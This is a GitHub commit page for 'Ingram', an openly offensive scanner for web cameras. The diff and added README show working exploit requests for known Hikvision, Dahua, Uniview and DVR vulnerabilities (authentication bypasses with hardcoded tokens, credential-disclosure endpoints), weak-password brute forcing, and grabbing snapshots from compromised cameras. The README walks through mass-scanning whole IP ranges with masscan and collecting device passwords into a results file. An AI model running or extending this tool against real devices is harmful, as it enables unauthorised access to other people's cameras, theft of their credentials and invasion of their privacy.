Skip to content

Commit

Permalink
Merge pull request jorhelp#42 from jorhelp/dev
Browse files Browse the repository at this point in the history
Dev
  • Loading branch information
jorhelp authored Dec 15, 2022
2 parents 07ae16c + 6cbb5c2 commit 8ae9757
Show file tree
Hide file tree
Showing 14 changed files with 221 additions and 35 deletions.
2 changes: 1 addition & 1 deletion Ingram/VDB/CVE_2017_14514.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@


def cve_2017_14514(ip: str) -> list:
headers = {'User-Agent': config.USERAGENT}
headers = {'Connection': 'close', 'User-Agent': config.USERAGENT}
url = f"http://{ip}/cgi-bin/DownloadCfg/RouterCfm.cfg"

try:
Expand Down
2 changes: 1 addition & 1 deletion Ingram/VDB/CVE_2017_7921.py
Original file line number Diff line number Diff line change
Expand Up @@ -50,7 +50,7 @@ def strings(file):


def cve_2017_7921(ip: str) -> list:
headers = {'User-Agent': config.USERAGENT}
headers = {'Connection': 'close', 'User-Agent': config.USERAGENT}
user_url = f"http://{ip}/Security/users?auth=YWRtaW46MTEK"
config_url = f"http://{ip}/System/configurationFile?auth=YWRtaW46MTEK"
timeout = config.TIMEOUT
Expand Down
1 change: 1 addition & 0 deletions Ingram/VDB/CVE_2018_9995.py
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@

def cve_2018_9995(ip: str) -> list:
headers = {
'Connection': 'close',
'User-Agent': config.USERAGENT,
'Cookie': 'uid=admin',
}
Expand Down
2 changes: 1 addition & 1 deletion Ingram/VDB/CVE_2020_25078.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@


def cve_2020_25078(ip: str) -> list:
headers = {'User-Agent': config.USERAGENT}
headers = {'Connection': 'close', 'User-Agent': config.USERAGENT}
url = f"http://{ip}/config/getuser?index=0"

try:
Expand Down
2 changes: 1 addition & 1 deletion Ingram/VDB/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -28,4 +28,4 @@ def get_vul(dev: str) -> list:
elif dev == config.DVR:
return [cve_2018_9995, ]
else:
return None
return []
2 changes: 1 addition & 1 deletion Ingram/VDB/uniview_disclosure.py
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,7 @@ def passwd_decoder(passwd):
if char != "124" and char != "0": decoded.append(code_table[char])
return ''.join(decoded)

headers = {'User-Agent': config.USERAGENT}
headers = {'Connection': 'close', 'User-Agent': config.USERAGENT}
url = f"http://{ip}" + '/cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1}"'
try:
r = requests.get(url, headers=headers, verify=False, timeout=config.TIMEOUT)
Expand Down
8 changes: 4 additions & 4 deletions Ingram/VDB/weak_passwd.py
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@

def hikvision_weak(ip: str) -> list:
url = f"http://{ip}/ISAPI/Security/userCheck"
headers = {'User-Agent': USERAGENT}
headers = {'Connection': 'close', 'User-Agent': USERAGENT}
timeout = TIMEOUT
for user in USERS:
for passwd in PASSWDS:
Expand Down Expand Up @@ -65,7 +65,7 @@ def dahua_weak(ip: str) -> list:


def cctv_weak(ip: str) -> list:
headers = {'User-Agent': USERAGENT}
headers = {'Connection': 'close', 'User-Agent': USERAGENT}
for user in USERS:
for passwd in PASSWDS:
url = f'http://{ip}/cgi-bin/gw.cgi?xml=<juan ver="" squ="" dir="0"><rpermission usr="{user}" pwd="{passwd}"><config base=""/><playback base=""/></rpermission></juan>'
Expand All @@ -83,12 +83,12 @@ def cctv_weak(ip: str) -> list:

# still bugs...
def uniview_weak(ip: str) -> list:
headers = {'User-Agent': USERAGENT}
headers = {'Connection': 'close', 'User-Agent': USERAGENT}


# still bugs...
def dlink_weak(ip: str) -> list:
headers = {'User-Agent': USERAGENT}
headers = {'Connection': 'close', 'User-Agent': USERAGENT}
for user in USERS:
for p in PASSWDS:
r = requests.get(f"http://{ip}", verify=False, headers=headers, timeout=TIMEOUT, auth=(user, p))
Expand Down
26 changes: 13 additions & 13 deletions Ingram/core/data.py
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,7 @@ def __init__(self, _input, output):
self.var_lock = RLock()
self.file_lock = RLock()
self.create_time = get_current_time()
self.runned_time = 0
self.taskid = hashlib.md5((self.input + self.output).encode('utf-8')).hexdigest()

self.total = 0
Expand All @@ -43,8 +44,12 @@ def preprocess(self):
# done
state_file = os.path.join(self.output, f'.{self.taskid}')
if os.path.exists(state_file):
with open(state_file, 'r') as f:
self.done = int(f.readline().strip())
try:
with open(state_file, 'r') as f:
_done, _runned_time = f.readline().split(',')
self.done = int(_done.strip())
self.runned_time = float(_runned_time.strip())
except: pass

# found
results_file = os.path.join(self.output, 'results.csv')
Expand Down Expand Up @@ -80,24 +85,19 @@ def ip_generate(self):
yield ip

def get_total(self):
with self.var_lock:
return self.total
with self.var_lock: return self.total

def get_done(self):
with self.var_lock:
return self.done
with self.var_lock: return self.done

def get_found(self):
with self.var_lock:
return self.found
with self.var_lock: return self.found

def found_add(self):
with self.var_lock:
self.found += 1
with self.var_lock: self.found += 1

def done_add(self):
with self.var_lock:
self.done += 1
with self.var_lock: self.done += 1

def vul_add(self, item):
with self.file_lock:
Expand All @@ -111,7 +111,7 @@ def not_vul_add(self, item):

def record_running_state(self):
with open(os.path.join(self.output, f".{self.taskid}"), 'w') as f:
f.write(str(self.done))
f.write(f"{str(self.done)},{self.runned_time + get_current_time() - self.create_time}")

def __del__(self):
try: # if dont use try, sys.exit() may cause error
Expand Down
3 changes: 1 addition & 2 deletions Ingram/core/main.py
Original file line number Diff line number Diff line change
Expand Up @@ -37,7 +37,7 @@ def status(core):
try:
while True:
if tmp % 15 == 0: # every ~1s
time_interval = get_current_time() - core.create_time
time_interval = get_current_time() - core.data.create_time + core.data.runned_time
core.data.record_running_state()
total = core.data.get_total()
done = core.data.get_done()
Expand All @@ -58,7 +58,6 @@ class Core:

def __init__(self):
self.finish = False
self.create_time = get_current_time()
self.data = Data(config.IN, config.OUT)
self.workshop = Workshop(os.path.join(config.OUT, 'snapshots'), config.TH // 4)
self.scan = Scan(self.data, self.workshop, config.PORT)
Expand Down
4 changes: 2 additions & 2 deletions Ingram/middleware/detect.py
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,7 @@
'1536f25632f78fb03babedcb156d3f69': config.UNIVIEW_NVR,
'c30a692ad0d1324389485de06c96d9b8': 'uniview-dev', # bugs
}
HEADERS = {'User-Agent': config.USERAGENT}
HEADERS = {'Connection': 'close', 'User-Agent': config.USERAGENT}
TIMEOUT = config.TIMEOUT


Expand Down Expand Up @@ -86,4 +86,4 @@ def port_detect(ip: str, port: str) -> bool:
except Exception as e:
s.close()
logger.error(e)
return False
return False
20 changes: 17 additions & 3 deletions Ingram/middleware/shop.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,20 +2,31 @@
import os
import requests
from functools import partial
from xml.etree import ElementTree
from requests.auth import HTTPDigestAuth
from xml.etree import ElementTree

from Ingram.utils import config
from Ingram.utils import logger
from Ingram.utils import get_user_agent


TIMEOUT = config.TIMEOUT
HEADERS = {'User-Agent': config.USERAGENT, }
HEADERS = {'Connection': 'close', 'User-Agent': config.USERAGENT }


def _snapshot_by_url(url, file_name, workshop, auth=None):
try:
if auth:
r = requests.get(url, auth=auth, timeout=TIMEOUT, verify=False, headers=HEADERS)
if r.status_code == 200:
with open(file_name, 'wb') as f: f.write(r.content)
workshop.done_add()
else:
r = requests.get(url, timeout=TIMEOUT, verify=False, headers=HEADERS)
if r.status_code == 200:
with open(file_name, 'wb') as f: f.write(r.content)
workshop.done_add()

if auth: r = requests.get(url, auth=auth, timeout=TIMEOUT, verify=False, headers=HEADERS)
else: r = requests.get(url, timeout=TIMEOUT, verify=False, headers=HEADERS)
if r.status_code == 200:
Expand Down Expand Up @@ -44,7 +55,10 @@ def snapshot(camera_info, workshop):
# get channels
channels = 1
try:
r = requests.get(f"http://{ip}:{port}/ISAPI/Image/channels", auth=HTTPDigestAuth(user, passwd))
r = requests.get(f"http://{ip}:{port}/ISAPI/Image/channels",
auth=HTTPDigestAuth(user, passwd),
headers=HEADERS,
timeout=TIMEOUT)
root = ElementTree.fromstring(r.text)
channels = len(root)
except Exception as e:
Expand Down
148 changes: 148 additions & 0 deletions README.en.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,148 @@
<div align=center>
<img alt="Ingram" src="https://github.com/jorhelp/imgs/blob/master/Ingram/logo.png">
</div>


<!-- icons -->
<div align=center>
<img alt="Platform" src="https://img.shields.io/badge/platform-Linux%20|%20Mac-blue.svg">
<img alt="Python Version" src="https://img.shields.io/badge/python-3.7|3.8-yellow.svg">
<img alt="GitHub" src="https://img.shields.io/github/license/jorhelp/Ingram">
<img alt="Github Checks" src="https://img.shields.io/github/checks-status/jorhelp/Ingram/master">
<img alt="GitHub Last Commit (master)" src="https://img.shields.io/github/last-commit/jorhelp/Ingram/master">
<img alt="Languages Count" src="https://img.shields.io/github/languages/count/jorhelp/Ingram?style=social">
</div>

English | [简体中文](https://github.com/jorhelp/Ingram/blob/master/README.md)

## Intro

This is a web camera device vulnerability scanning tool, which already supports Hikvision, Dahua and other devices

<div align=center>
<img alt="run" src="https://github.com/jorhelp/imgs/blob/master/Ingram/run_time.gif">
</div>


## Installation

**There are still bugs running on windows, so linux or mac is recommended. Please make sure you have installed Python >= 3.7**

+ Firstly, clone this repo:
```bash
git clone https://github.com/jorhelp/Ingram.git
```

+ Then, go to the repo dir, create a virtual environment and activate it:
```bash
cd Ingram
pip3 install virtualenv
python3 -m virtualenv venv
source venv/bin/activate
```

+ After that, install dependencies:
```bash
pip3 install -r requirements.txt
```

So far, it has been installed!


## Run

+ Since it is configured in a virtual environment, pls activate the virtual environment before each running

+ You need to prepare an object file, let's name it `input`, which contains the targets that will be scanned. The `input` file content can be:
```
# use '#' to comment
# single ip
192.168.0.1
# ip with a port
192.168.0.2:80
# ip segment ('/')
192.168.0.0/16
# ip segment ('-')
192.168.0.0-192.168.255.255
```

+ With the `input`, we start scanning:
```bash
python run_ingram.py -i input -o output
```

+ If you specified the port like: `x.x.x.x:80`, then the 80 port will be scanned, otherwise common ports will be scanned(defined in `Ingram/utils/config.py`). And you can also override it with the `-p` argument such as:
```bash
python run_ingram.py -i input -o output -p 80 81 8000
```

+ The number of coroutines can be controlled by the `-t` argument:
```bash
python run_ingram.py -i input -o output -t 300
```

+ all arguments:
```
optional arguments:
-h, --help print help info
-i IN_FILE, --in_file IN_FILE
the input file
-o OUT_DIR, --out_dir OUT_DIR
the output file
-p PORT [PORT ...], --port PORT [PORT ...]
port
-t TH_NUM, --th_num TH_NUM
coroutines number
-T TIME_OUT, --time_out TIME_OUT
time out
--debug debug
```


## Port scanner

+ We can use powerful port scanner to obtain active hosts, thereby reducing the scanning range of Ingram and improving the running speed. The specific method is to organize the result file of the port scanner into the format of `ip:port` and use it as the input file of Ingram

+ Here is a brief demonstration of masscan as an example (the detailed usage of masscan will not be repeated here).

+ First, use masscan to scan the surviving host on port 80 or 8000-8008 (you sure can change the port anything else if you want): `masscan -p80,8000-8008 -iL INPUT -oL OUTPUT --rate 8000`

+ After masscan is done, sort out the result file: `grep 'open' OUTPUT | awk '{printf"%s:%s\n", $4, $3} > input'`

+ Then, start your show: `python run_ingram.py -i input -o output`


## Output

```bash
.
├── not_vulnerable.csv
├── results.csv
├── snapshots
└── log.txt
```

+ `results.csv` contains the vulnerable devices: `ip,port,device-type,user,passwd,vul`:

<div align=center>
<img alt="Ingram" src="https://github.com/jorhelp/imgs/blob/master/Ingram/results.png">
</div>

+ `not_vulnerable.csv` contains the not vulnerable devices

+ `snapshots` contains some snapshots of a part of devices (not all device can have a snapshot!!!):

<div align=center>
<img alt="Ingram" src="https://github.com/jorhelp/imgs/blob/master/Ingram/snapshots.png">
</div>


## Thanks & Reference

Thanks to [Aiminsun](https://github.com/Aiminsun/CVE-2021-36260) for CVE-2021-36260
Thanks to [chrisjd20](https://github.com/chrisjd20/hikvision_CVE-2017-7921_auth_bypass_config_decryptor) for hidvision config file decryptor
Thanks to [mcw0](https://github.com/mcw0/DahuaConsole) for DahuaConsole
Loading

0 comments on commit 8ae9757

Please sign in to comment.